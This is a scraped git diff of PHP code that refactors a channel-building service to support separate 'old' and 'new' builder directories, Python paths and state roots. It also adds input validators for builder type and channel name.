$configKey = $builderType === self::BUILDER_NEW
|
||||
? 'coruna.channel_builder_new.python'
|
||||
: 'coruna.channel_builder.python';
|
||||
$configured = trim((string) config($configKey, ''));
|
||||
if ($configured !== '') {
|
||||
return $configured;
|
||||
}
|
||||
|
||||
$venv = base_path('channel-builder/.venv/bin/python');
|
||||
$venv = $this->builderCwd($builderType).'/.venv/bin/python';
|
||||
if (is_file($venv)) {
|
||||
return $venv;
|
||||
}
|
||||
|
||||
if ($builderType === self::BUILDER_NEW) {
|
||||
$fallback = base_path('channel-builder/.venv/bin/python');
|
||||
if (is_file($fallback)) {
|
||||
return $fallback;
|
||||
}
|
||||
}
|
||||
|
||||
return 'python3';
|
||||
}
|
||||
|
||||
private function builderScript(string $name): string
|
||||
private function builderScript(string $name, string $builderType): string
|
||||
{
|
||||
$path = base_path('channel-builder/tools/'.$name);
|
||||
$path = $this->builderCwd($builderType).'/tools/'.$name;
|
||||
if (! is_file($path)) {
|
||||
throw new RuntimeException("渠道构建脚本不存在: {$path}");
|
||||
}
|
||||
@@ -172,6 +337,13 @@ class ChannelProjectService
|
||||
return $path;
|
||||
}
|
||||
|
||||
private function builderCwd(string $builderType): string
|
||||
{
|
||||
return $builderType === self::BUILDER_NEW
|
||||
? base_path('channel-builder-new')
|
||||
: base_path('channel-builder');
|
||||
}
|
||||
|
||||
private function artifactRoot(): string
|
||||
{
|
||||
$root = trim((string) config('coruna.channel_builder.artifact_root', ''));
|
||||
@@ -182,11 +354,16 @@ class ChannelProjectService
|
||||
return $this->ensureDirectory($root, '产物目录');
|
||||
}
|
||||
|
||||
private function stateRoot(): string
|
||||
private function stateRoot(string $builderType): string
|
||||
{
|
||||
$root = trim((string) config('coruna.channel_builder.state_root', ''));
|
||||
$key = $builderType === self::BUILDER_NEW
|
||||
? 'coruna.channel_builder_new.state_root'
|
||||
: 'coruna.channel_builder.state_root';
|
||||
$root = trim((string) config($key, ''));
|
||||
if ($root === '') {
|
||||
$root = storage_path('app/channel-builder');
|
||||
$root = $builderType === self::BUILDER_NEW
|
||||
? storage_path('app/channel-builder-new')
|
||||
: storage_path('app/channel-builder');
|
||||
}
|
||||
|
||||
return $this->ensureDirectory($root, '构建状态目录');
|
||||
@@ -201,6 +378,19 @@ class ChannelProjectService
|
||||
return $root;
|
||||
}
|
||||
|
||||
private function normalizeBuilderType(string $builderType): string
|
||||
{
|
||||
$builderType = strtolower(trim($builderType));
|
||||
if ($builderType === '') {
|
||||
return self::BUILDER_OLD;
|
||||
}
|
||||
if (! in_array($builderType, [self::BUILDER_OLD, self::BUILDER_NEW], true)) {
|
||||
throw new RuntimeException('无效的渠道类型(支持: old, new)');
|
||||
}
|
||||
|
||||
return $builderType;
|
||||
}
|
||||
|
||||
private function normalizeChannelId(string $channelId): string
|
||||
{
|
||||
$channelId = strtolower(trim($channelId));
|
||||
@@ -211,6 +401,19 @@ class ChannelProjectService
|
||||
return $channelId;
|
||||
}
|
||||
|
||||
private function normalizeChannelName(string $channelName): string
|
||||
{
|
||||
$channelName = strtolower(trim($channelName));
|
||||
if (! preg_match('/^[a-z0-9]{8,32}$/', $channelName)) {
|
||||
throw new RuntimeException('Invalid channel name');
|
||||
}
|
||||
if (Channel::isReservedChannelName($channelName)) {
|
||||
throw new RuntimeException('channel_name 与保留路径冲突');
|
||||
}
|
||||
|
||||
return $channelName;
|
||||
}
|
||||
|
||||
private function normalizeSupportTemplate(string $supportTemplate): string
|
||||
{
|
||||
$supportTemplate = strtolower(trim($supportTemplate));
|
||||
@@ -229,8 +432,10 @@ class ChannelProjectService
|
||||
/**
|
||||
* @return array{0: ?string, 1: ?string}
|
||||
*/
|
||||
private function normalizeOptionalSeeds(?string $deploymentSeed, ?string $reportingSeed): array
|
||||
{
|
||||
private function normalizeOptionalSeeds(
|
||||
?string $deploymentSeed,
|
||||
?string $reportingSeed,
|
||||
): array {
|
||||
$deploymentSeed = $deploymentSeed !== null ? trim($deploymentSeed) : null;
|
||||
$reportingSeed = $reportingSeed !== null ? trim($reportingSeed) : null;
|
||||
if (($deploymentSeed === null || $deploymentSeed === '') && ($reportingSeed === null || $reportingSeed === '')) {
|
||||
|
||||
@@ -43,7 +43,7 @@ class ChannelCommand
|
||||
$lines[] = ' 备注: '.$remarkLabel.' | 归属: '.$owner.' | '.$status;
|
||||
|
||||
$links = $channel->supportLinks();
|
||||
$link = $links[0] ?? ('/web/'.$channel->channel_id.'/support.html');
|
||||
$link = $links[0] ?? $channel->landingPath();
|
||||
if (strlen($link) > 256) {
|
||||
$link = substr($link, 0, 256);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user